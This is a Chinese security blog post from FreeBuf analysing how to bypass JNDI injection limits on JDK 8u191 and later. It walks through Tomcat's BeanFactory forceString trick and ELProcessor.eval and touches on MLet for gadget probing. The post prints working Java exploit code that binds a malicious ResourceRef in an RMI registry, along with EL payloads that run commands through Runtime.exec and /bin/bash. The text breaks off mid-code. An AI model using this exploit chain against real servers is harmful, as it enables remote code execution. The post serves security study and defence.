freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JNDI绕过高版本注入限制那些事
2024-12-04 17:25:46
所属地 广东省

JNDI高版本注入可以说是java安全大集合了。涉及了许多框架漏洞的组合使用,当分析完JNDI高版本时,我认为也算是正式入门JAVA安全了

jndi注入第一需要在影响版本内,第二需要出网

jdk8<8u191之前,ldap都能打,且不需要其他依赖库。8u191<jdk<8u241,能打JRMP

高版本也能绕过打JNDI:

https://www.cnblogs.com/bitterz/p/15946406.html#211-javaxelelprocessoreval

回想之前的修复方式,都是把trustURLCodebase置为了false,虽然没办法加载远程恶意类了,不过可以通过加载服务器的本地类构造恶意代码

jndi回顾

JNDI demo(yakit or marshelsec生成恶意类)

publicclassJNDIRMIClient{
publicstaticvoidmain(String[] args) throwsException{
InitialContextinitialContext=newInitialContext();
RemoteInterfaceremoteObject=(RemoteInterface) initialContext.lookup("ldap://172.21.240.1:8599/RuntimeEvil");//yakit
remoteObject.sayHello("JNDI");
}
}

低版本(<8u191)jndi ldap中,跟进到DirectoryManager.getObjectInstance:

  • 用getObjectFactoryFromRefrence从远端refrence获取类工厂,并实例化类工厂(我们绑定的恶意类工厂,这一步就完成了RCE)

  • getObjectInstance从类工厂加载类并实例化

image-20241018112434905.png


跟进到NamingManager.getObjectFactoryFromRefrence,发现从Reference加载类的过程如下:

  • 先双亲委派从本地加载类

  • 如果本地加载不到,从codebase加载

image-20241018104908789.png

  1. helper.loadClass(factory) -> VersionHelper12.loadClass,用系统类加载器加载类,走双亲委派从本地加载

image-20241018105416861.png

  1. 从codebase加载类

  • jdk<191,VersionHelper12从codebase加载如下,用URLClassLoader获取远端类工厂,没有任何过滤

image-20241018112713922.png

获取后Class.forName初始化

image-20241018113447188.png

初始化类后直接newInstance实例化,并转为ObjectFactory

image-20241018113150097.png

  • jdk>=191,VersionHelper12 trustURLCodebase==true才从远端加载类工厂

image-20241018150242252.png

不能从远端加载类工厂了,那我们换个思路

从本地加载类工厂,然后找getObjectInstance进行下一步利用

既然要找个能用的类工厂,该类必须满足实现ObjectFactory接口,才能顺利强转

image-20241018151408823.png

Tomcat 8

导入使用Tomcat类:

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.56</version>
</dependency>

beanFactory

Tomcat8下,org.apache.naming.factory.BeanFactory存在利用点

BeanFactory.getObjectInstance很长,大致流程如下:

不是ResourceRef子类直接退出

image-20241018165205453.png

  • 加载类并实例化

image-20241018163918904.png

  • 从ref对象中获取名为forceString的对象,并将其转化为字符串value

  • 将value按逗号分割成多个参数,每个参数形如name=method的键值对

  • 如果参数包含等号,则将其按等号分为参数名和方法名,=前面为参数,=后面为方法名;如果参数不包含等号,则生成默认的setter方法(首字母大写加set前缀)

  • 使用反射获取对应的方法,参数类型为String

很明显,能获取参数个数为1,参数类型为String的任意方法

image-20241018164214928.png

  • 遍历每个属性,跳过特定的属性(scope,auth,forceString,singleton),如果找到setter方法,则调用此方法设置属性值

image-20241018164853102.png

找遍全文,发现这个函数完全没有用第二个参数name,也就是我们传入的reference第一个参数(需要加载的类名),好神金(估计只是为了满足重写getObjectInstance

image-20241018214024895.png


构造一个恶意ResourceRef类,通过forceString参数,能调用任意对象的方法

类需要有无参构造函数,被利用方法需满足参数个数为1,参数类型为String

哪个方法满足要求,且能达到RCE呢?

javax.el.ELProcessor#eval

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.56</version><!-- 使用与你的Tomcat版本相匹配的版本 -->
</dependency>

众所周知,Tomcat自带的类ELProcessor可以进行EL表达式注入

image-20241018195943377.png

表达式注入的入口即javax.el.ELProcessor#eval,参数正好满足个数为1,类型为String

EL表达式依赖:

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.56</version><!--使用与你的Tomcat版本相匹配的版本-->
</dependency>

EL表达式Payload:

ELProcessorelProcessor=newjavax.el.ELProcessor();
elProcessor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','calc']).start()\")");

ResourceRef接收的第一个参数即类名,应该传ELProcesser。但是构造函数并没有看见能传forceString的地方,但注意到都是通过Reference.add添加属性

image-20241018204028148.png

我们依葫芦画瓢也调用Reference.add添加forceString。这里ResourceRef是Reference的子类

ResourceRefref=newResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(newStringRefAddr("forceString", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval"));

ResourceRef作为Reference子类,可以直接进行JNDI绑定

我们直接试试呢?

publicstaticvoidmain(String[] args) throwsException{
LocateRegistry.createRegistry(1099);
Hashtable<String, String>env=newHashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
ResourceRefref=newResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(newStringRefAddr("forceString", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval"));
InitialContextcontext=newInitialContext(env);
context.bind("remoteImpl", ref);
}

发现并没有执行

调试跟进到BeanFactory.getObjectInstance,发现在invoke之前,由于propName为forceString,跳过了本次循环。

image-20241020164042052.png

我们先用forceString把setterName设置为eval,属性名设置为x,并put进forced

image-20241020164741174.png

然后注意循环是在所有Entry循环

image-20241020164640261.png

第二次在forced根据属性名取方法,也就是eval方法,参数为第二个Entry的Value

image-20241020164805044.png

所以先传一个("forceString","x=eval"),再传一个("x","payload")即可RCE

publicclassjndi_highVersion_Tomcat{
publicstaticvoidmain(String[] args) throwsException{
LocateRegistry.createRegistry(1099);
Hashtable<String, String>env=newHashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
ResourceRefref=newResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(newStringRefAddr("forceString", "x=eval"));
ref.add(newStringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")"));
//       ref.add(new StringRefAddr("forceString", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval"));
InitialContextcontext=newInitialContext(env);
context.bind("remoteImpl", ref);
}
}

image-20241020165100647.png


攻击过程:

执行lookup->实例化factoryLocation路径下factory->调用factory的getObjectInstance->BeanFactory.getObjectInstance->根据forceString解析方法名和占位参数->填充真参数invoke反射调用ELProcessor.eval


不仅ELProcessor能利用,还有很多其他类

浅蓝师傅给出了许多满足BeanFactory调用要求(类有无参构造方法,代码执行方法参数个数为1,参数类型为String,可以后续利用)的类,尽管有一些并不能达到RCE,但仍有利用价值

https://tttang.com/archive/1405/

MLet

MLet.addURL+URLClassLoader.loadClass

jdk自带的javax.management.loading.MLet,addURL方法参数满足要求

image-20241020171153802.png

调用了URLClossLoader.addURL

image-20241020171234140.png

MLet继承URLClassLoader,也能用URLClassLoader.loadClass

只可惜loadClass无法触发静态代码块,也无法RCE

虽然无法RCE,但可以用来进行gadget探测。例如在不知道当前Classpath存在哪些可用的gadget时,就可以通过MLet进行第一次类加载,如果类加载成功就不会影响后面访问远程类。

探测ELProcessor和是否可外联:

publicstaticvoidmain(String[] args) throwsException{
LocateRegistry.createRegistr
# java反序列化 # Jndi注入 # Apache Tomcat # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录